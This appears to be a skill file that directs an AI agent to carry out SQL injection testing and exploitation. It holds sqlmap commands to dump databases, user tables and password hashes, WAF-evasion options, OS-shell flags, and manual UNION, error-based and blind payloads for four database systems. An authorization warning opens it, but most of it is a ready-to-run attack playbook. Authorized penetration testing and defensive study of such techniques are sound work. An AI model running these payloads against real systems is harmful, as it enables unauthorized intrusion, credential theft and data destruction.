Exploit Sqli

---
name: exploit-sqli
description: SQL injection detection and exploitation using sqlmap, manual techniques, and custom payloads. Use this skill when user needs to test for SQL injection vulnerabilities, extract database information, or exploit SQLi in parameters, headers, or cookies.
---

# SQL Injection Detection & Exploitation

## Authorization Warning

**DANGER:** SQL injection testing can damage or destroy data in production databases. Always ensure you have:
- Written permission from the target application owner
- Isolated testing environment
- Backups of affected systems
- Legal compliance with local regulations

**Never test SQL injection on production databases without authorization.**

## Prerequisites

Required tools that must be installed on your system:
- **sqlmap** - `pip install sqlmap` or `git clone https://github.com/sqlmapproject/sqlmap`

Optional tools:
- **BBQSQL** - Semi-automated SQL injection tool
- **NoSQLMap** - NoSQL injection testing

## Quick Start

Most commonly used commands for SQL injection testing:

### Automated SQLMap Scan
```bash
sqlmap -u "https://target.com/page?id=1"
```

### POST Request Testing
```bash
sqlmap -u "https://target.com/login" --data="username=admin&password=test"
```

### Cookie Testing
```bash
sqlmap -u "https://target.com" --cookie="sessionid=abc123"
```

## Common Scenarios

### Scenario 1: Basic Parameter Testing

When you need to test a URL parameter for SQL injection:

```bash
sqlmap -u "https://target.com/page?id=1"
```

**Parameters:**
- `-u` - Target URL
- `-p` - Specific parameter to test (default: all)
- `--batch` - Avoid interactive prompts
- `--random-agent` - Use random User-Agent

**Example:**
```bash
sqlmap -u "https://target.com/vuln.php?id=1" --batch --random-agent
```

---

### Scenario 2: POST Request Injection

When you need to test POST body parameters:

```bash
sqlmap -u "https://target.com/login" --data="username=admin&password=test"
```

**From file:**
```bash
sqlmap -u "https://target.com/login" -d post_data.txt
```

---

### Scenario 3: Cookie/Header Injection

When you need to test cookies or headers:

```bash
# Cookie injection
sqlmap -u "https://target.com" --cookie="sessionid=abc123"

# User-Agent injection
sqlmap -u "https://target.com" --headers="User-Agent: sqlmap"

# Referer injection
sqlmap -u "https://target.com" --referer="https://evil.com"
```

**Multiple headers:**
```bash
sqlmap -u "https://target.com" -H "Cookie:id=1" -H "User-Agent: test"
```

---

### Scenario 4: Specific DBMS Testing

When you know or suspect the database type:

```bash
sqlmap -u "https://target.com/page?id=1" --dbms=mysql
sqlmap -u "https://target.com/page?id=1" --dbms=postgresql
sqlmap -u "https://target.com/page?id=1" --dbms=sqlserver
sqlmap -u "https://target.com/page?id=1" --dbms=oracle
```

---

### Scenario 5: Database Enumeration

When you need to extract database information:

```bash
# List databases
sqlmap -u "https://target.com/page?id=1" --dbs

# List tables
sqlmap -u "https://target.com/page?id=1" -D dbname --tables

# Dump table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users --dump

# Dump all
sqlmap -u "https://target.com/page?id=1" --dump-all
```

---

### Scenario 6: User Enumeration

When you need to extract user credentials:

```bash
# Enumerate database users
sqlmap -u "https://target.com/page?id=1" --users

# Extract password hashes
sqlmap -u "https://target.com/page?id=1" --passwords

# Dump users table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users -C username,password --dump
```

---

### Scenario 7: Union-Based SQL Injection

Manual testing for Union-based SQLi:

```bash
# Test for SQL injection with payload
https://target.com/page?id=1' OR '1'='1
https://target.com/page?id=1' UNION SELECT 1,2,3--
https://target.com/page?id=1' UNION SELECT NULL,version(),NULL--
```

**Determine column count:**
```sql
id=1' ORDER BY 1--
id=1' ORDER BY 2--
id=1' ORDER BY 3--
```

**Check for string vs integer:**
```sql
id=1' UNION SELECT 1,'2',3--
id=1' UNION SELECT 1,NULL,NULL--
```

---

### Scenario 8: Error-Based SQL Injection

When error messages are displayed:

```bash
# MySQL error injection
id=1' AND extractvalue(1, concat(0x7e, database(), 0x7e))--
id=1' AND updatexml(1, concat(0x7e, database(), 0x7e), 1)--
id=1' AND exp(~(SELECT * FROM (SELECT database())a))--

# PostgreSQL error injection
id=1' AND cast(version() as int)--
id=1'; CAST(version() AS INT)--
```

---

### Scenario 9: Blind SQL Injection

When no error messages are returned:

**Boolean-based:**
```sql
id=1' AND 1=1--
id=1' AND 1=2--
```

**Time-based (MySQL):**
```sql
id=1' AND SLEEP(5)--
id=1' AND BENCHMARK(5000000, MD5(1))--
```

**Time-based (PostgreSQL):**
```sql
id=1'; SELECT pg_sleep(5)--
id=1'; SELECT extract(epoch from now())-
```

---

### Scenario 10: WAF Evasion

When WAF blocks injection attempts:

```bash
# Use tamper scripts
sqlmap -u "https://target.com/page?id=1" --tamper=space2comments

# Use random agent
sqlmap -u "https://target.com/page?id=1" --random-agent

# Different level
sqlmap -u "https://target.com/page?id=1" --level=1 --risk=1

# Specific technique
sqlmap -u "https://target.com/page?id=1" --technique=U
```

---

## Injection Testing Workflow

### 1. Initial Detection

```bash
# Automated scan
sqlmap -u "https://target.com/page?id=1" --batch

# Manual quick test
curl "https://target.com/page?id=1'" | grep -i "sql\|mysql\|syntax"
curl "https://target.com/page?id=1\" OR \"1\"=\"2" | grep -i "error"
```

### 2. Confirmation

```bash
# Confirm with multiple payloads
curl "https://target.com/page?id=1 AND 1=1"
curl "https://target.com/page?id=1 AND 1=2"
curl "https://target.com/page?id=1' OR '1'='1"
```

### 3. Fingerprint Database

```bash
sqlmap -u "https://target.com/page?id=1" --current-user
```

### 4. Enumeration

```bash
# Get database info
sqlmap -u "https://target.com/page?id=1" --hostname --current-db --is-dba

# List databases
sqlmap -u "https://target.com/page?id=1" --dbs
```

---

## SQLMap Options Reference

| Option | Description |
|--------|-------------|
| `-u` | Target URL |
| `-r` | Parse log file |
| `-l` | Load from file |
| `-m` | Scan multiple targets |
| `-p` | Test specific parameters |
| `--skip` | Skip parameters |
| `--dbms` | Force DBMS |
| `--os` | Force OS |
| `--tamper` | Tamper script |
| `--level` | Test level (1-5) |
| `--risk` | Risk level (1-3) |
| `--technique` | Specific technique (B/E/U/S/T) |
| `--batch` | Non-interactive |
| `--random-agent` | Random User-Agent |
| `--proxy` | Use proxy |
| `--delay` | Delay between requests |
| `--timeout` | Request timeout |
| `--retries` | Retry attempts |
| `--string` | Match string |
| `--not-string` | Not match string |
| `--regexp` | Regexp filter |
| `--grep` | Regexp filter for pages |
| `--crawl` | Crawl site |
| `--forms` | Parse forms |
| `--cookie` | Cookie value |
| `--headers` | Extra headers |
| `--user-agent` | Custom User-Agent |
| `--method` | Force method |
| `--data` | POST data |
| `-d` | POST data from file |
| `--dbs` | Enumerate databases |
| `--tables` | Enumerate tables |
| `--columns` | Enumerate columns |
| `--schema` | Enumerate schema |
| `--dump` | Dump data |
| `--dump-all` | Dump all |
| `--search` | Search |
| `--users` | Enumerate DB users |
| `--passwords` | Enumerate password hashes |
| `--priv-esc` | Privilege escalation |
| `--os-shell` | OS shell |
| `--os-pwn` | Meterpreter/OBM shell |
| `--sql-shell` | SQL shell |
| `--wizard` | Wizard mode |
| `-v` | Verbosity (0-6) |

---

## Manual Payloads

### MySQL Payloads

```sql
-- Version detection
' UNION SELECT @@version--

-- Current user
' UNION SELECT user()--

-- Current database
' UNION SELECT database()--

-- All databases
' UNION SELECT schema_name FROM information_schema.schemata--

-- Tables from database
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--

-- Columns from table
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- Concatenate data
' UNION SELECT CONCAT(username,0x3a,password) FROM users--
```

### PostgreSQL Payloads

```sql
-- Version
' UNION SELECT version()--

-- Current user
' UNION SELECT user--

-- Current database
' UNION SELECT current_database()--

-- All databases
' UNION SELECT datname FROM pg_database--

-- Tables
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--

-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
```

### SQL Server Payloads

```sql
-- Version
' UNION SELECT @@version--

-- Database
' UNION SELECT DB_NAME()--

-- Tables
' UNION SELECT table_name FROM information_schema.tables--

-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- Databases
' UNION SELECT name FROM master..sysdatabases--
```

### Oracle Payloads

```sql
-- Version
' UNION SELECT banner FROM v$version--

-- Tables
' UNION SELECT table_name FROM all_tables WHERE owner=USER--

-- Columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--
```

---

## Testing Checklist

- [ ] URL parameters
- [ ] POST parameters
- [ ] Cookies
- [ ] User-Agent
- [ ] Referer
- [ ] X-Forwarded-For
- [ ] Accept headers
- [ ] JSON body fields
- [ ] GraphQL queries
- [ ] API endpoints

---

### Scenario: Persistent Storage of SQL Injection Findings

When you need to persist SQL injection findings to the database:

```bash
# Manual entry after discovering SQL injection
python .claude/skills/exploit-sqli/scripts/sqli_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/login?id=1" \
  --parameter id \
  --payload "1' OR '1'='1" \
  --severity Critical \
  --cvss-score 9.8 \
  --db-type MySQL \
  --subsystem "Web Application"
```

**Parameters:**
- `--host-ip` - Target host IP (required)
- `--url` - Vulnerable URL (required)
- `--parameter` - Vulnerable parameter name (required)
- `--payload` - Payload used (required)
- `--severity` - Severity level (default: High)
- `--cvss-score` - CVSS score (0.0-10.0)
- `--db-type` - Database type (e.g., MySQL, PostgreSQL)
- `--subsystem` - Subsystem name (optional)
- `--title` - Vulnerability title (auto-generated if not specified)
- `--description` - Vulnerability description

**Database location:** `./data/results.db`

**Related skills:** `results-storage` - Query data, generate reports

---

## Resources

### Scripts

- `scripts/sqli_payload_generator.py` - Generate SQL injection payloads
- `scripts/boolean_sqli_tester.py` - Test blind SQL injection
- `scripts/response_analyzer.py` - Analyze responses for injection clues

### References

- `references/sqlmap_guide.md` - Comprehensive SQLMap reference
- `references/manual_sqli_techniques.md` - Manual injection techniques
- `references/nosql_injection.md` - NoSQL injection guide

### Assets

- `assets/common_error_payloads.txt` - Common error-based payloads
- `assets/time-based_payloads.txt` - Time-based blind payloads
- `assets/dbms_fingerprints.txt` - Database fingerprinting patterns